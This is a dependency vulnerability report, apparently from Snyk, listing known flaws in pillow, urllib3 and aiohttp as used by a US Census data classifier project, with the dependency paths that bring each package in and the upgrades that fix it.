Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: pillow
- Introduced through: pillow@9.5.0, imagehash@4.3.1 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › pillow@9.5.0Remediation: Upgrade to pillow@10.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › imagehash@4.3.1 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › imagehash@4.3.1 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › phik@0.12.3 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to phik@0.12.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › seaborn@0.12.2 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to seaborn@0.12.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › matplotlib@3.5.3 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › phik@0.12.3 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › seaborn@0.12.2 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › matplotlib@3.5.3 › pillow@9.5.0
Overview
Pillow is a PIL (Python Imaging Library) fork.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow when the ReadHuffmanCodes() function is used. An attacker can craft a special WebP lossless file that triggers the ReadHuffmanCodes() function to allocate the HuffmanCode buffer with a size that comes from an array of precomputed sizes: kTableSize. The color_cache_bits value defines which size to use. The kTableSize array only takes into account sizes for 8-bit first-level table lookups but not second-level table lookups. libwebp allows codes that are up to 15-bit (MAX_ALLOWED_CODE_LENGTH). When BuildHuffmanTable() attempts to fill the second-level tables it may write data out-of-bounds. The OOB write to the undersized array happens in ReplicateValue.
Notes:
This is only exploitable if the color_cache_bits value defines which size to use.
This vulnerability was also published on libwebp CVE-2023-5129
Changelog:
2023-09-12: Initial advisory publication
2023-09-27: Advisory details updated, including CVSS, references
2023-09-27: CVE-2023-5129 rejected as a duplicate of CVE-2023-4863
2023-09-28: Research and addition of additional affected libraries
2024-01-28: Additional fix information
Remediation
Upgrade Pillow to version 10.0.1 or higher.
References
high severity
- Vulnerable module: urllib3
- Introduced through: urllib3@2.0.7, requests@2.31.0 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › urllib3@2.0.7Remediation: Upgrade to urllib3@2.6.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to requests@2.32.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › msal@1.33.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to msal@1.33.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › azure-datalake-store@0.0.53 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to azure-datalake-store@1.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-api-core@2.25.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › requests-oauthlib@2.0.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to requests-oauthlib@2.0.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-storage@3.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › oss2@2.18.4 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to oss2@2.18.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › azure-datalake-store@0.0.53 › msal@1.33.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to azure-datalake-store@1.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-api-python-client@2.177.0 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-api-python-client@2.177.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-core@2.4.3 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-core@2.4.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-storage@3.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-auth-oauthlib@1.2.2 › requests-oauthlib@2.0.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-auth-oauthlib@1.2.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › google-cloud-core@2.4.3 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-storage@3.2.0.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.
Workaround
This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade urllib3 to version 2.6.0 or higher.
References
high severity
- Vulnerable module: urllib3
- Introduced through: urllib3@2.0.7, requests@2.31.0 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › urllib3@2.0.7Remediation: Upgrade to urllib3@2.6.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to requests@2.32.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › msal@1.33.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to msal@1.33.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › azure-datalake-store@0.0.53 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to azure-datalake-store@1.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-api-core@2.25.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › requests-oauthlib@2.0.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to requests-oauthlib@2.0.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-storage@3.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › oss2@2.18.4 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to oss2@2.18.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › azure-datalake-store@0.0.53 › msal@1.33.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to azure-datalake-store@1.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-api-python-client@2.177.0 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-api-python-client@2.177.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-core@2.4.3 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-core@2.4.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-storage@3.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-auth-oauthlib@1.2.2 › requests-oauthlib@2.0.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-auth-oauthlib@1.2.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › google-cloud-core@2.4.3 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-storage@3.2.0.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.
Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade urllib3 to version 2.6.0 or higher.
References
high severity
new
- Vulnerable module: urllib3
- Introduced through: urllib3@2.0.7, requests@2.31.0 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › urllib3@2.0.7Remediation: Upgrade to urllib3@2.6.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to requests@2.32.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › msal@1.33.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to msal@1.33.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › azure-datalake-store@0.0.53 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to azure-datalake-store@1.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-api-core@2.25.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › requests-oauthlib@2.0.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to requests-oauthlib@2.0.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-storage@3.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › oss2@2.18.4 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to oss2@2.18.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › azure-datalake-store@0.0.53 › msal@1.33.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to azure-datalake-store@1.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-api-python-client@2.177.0 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-api-python-client@2.177.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-core@2.4.3 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-core@2.4.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-storage@3.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-auth-oauthlib@1.2.2 › requests-oauthlib@2.0.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-auth-oauthlib@1.2.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › google-cloud-core@2.4.3 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-storage@3.2.0.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.
Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.
Workaround
This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.
Remediation
Upgrade urllib3 to version 2.6.3 or higher.
References
high severity
new
- Vulnerable module: aiohttp
- Introduced through: aiohttp@3.8.6 and aiohttp-retry@2.9.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp@3.8.6Remediation: Upgrade to aiohttp@3.13.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp-retry@2.9.1 › aiohttp@3.8.6
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the auto_decompress feature in the ZLibDecompressor class. An attacker can exhaust system memory by sending a compressed request that, when decompressed, consumes excessive resources.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade aiohttp to version 3.13.3 or higher.
References
high severity
new
- Vulnerable module: aiohttp
- Introduced through: aiohttp@3.8.6 and aiohttp-retry@2.9.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp@3.8.6Remediation: Upgrade to aiohttp@3.13.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp-retry@2.9.1 › aiohttp@3.8.6
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Request.post function. An attacker can cause the server to exhaust available memory and become unresponsive.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade aiohttp to version 3.13.3 or higher.
References
high severity
new
- Vulnerable module: aiohttp
- Introduced through: aiohttp@3.8.6 and aiohttp-retry@2.9.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp@3.8.6Remediation: Upgrade to aiohttp@3.13.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp-retry@2.9.1 › aiohttp@3.8.6
Overview
Affected versions of this package are vulnerable to Infinite loop in the Request.post() function. An attacker can cause the application to exhaust system resources by sending a POST request.
Note: This is only exploitable if Python optimizations are enabled (using the -O flag or setting PYTHONOPTIMIZE=1).
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade aiohttp to version 3.13.3 or higher.
References
high severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@3.8.6 and aiohttp-retry@2.9.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp@3.8.6Remediation: Upgrade to aiohttp@3.12.14.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp-retry@2.9.1 › aiohttp@3.8.6
Overview
Affected versions of this package are vulnerable to HTTP Request Smuggling via incorrect parsing of the trailer section in HTTP requests. An attacker can bypass firewall or proxy protections by crafting specially formed HTTP requests.
Note:
This is exploitable if the pure Python version of aiohttp is installed or the AIOHTTP_NO_EXTENSIONS environment variable is enabled.
Remediation
Upgrade aiohttp to version 3.12.14 or higher.
References
high severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@3.8.6 and aiohttp-retry@2.9.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp@3.8.6Remediation: Upgrade to aiohttp@3.10.11.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp-retry@2.9.1 › aiohttp@3.8.6
Overview
Affected versions of this package are vulnerable to HTTP Request Smuggling due to incorrect parsing of newlines in chunk extensions via the feed_data function. An attacker can bypass firewall or proxy protections by sending specially crafted requests.
Note:
Exploiting this vulnerability is possible when a pure Python version of aiohttp is installed (Without the usual C extensions) or AIOHTTP_NO_EXTENSIONS is enabled.
Remediation
Upgrade aiohttp to version 3.10.11 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: pillow@9.5.0, imagehash@4.3.1 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › pillow@9.5.0Remediation: Upgrade to pillow@10.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › imagehash@4.3.1 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › pillow@9.5.0
-
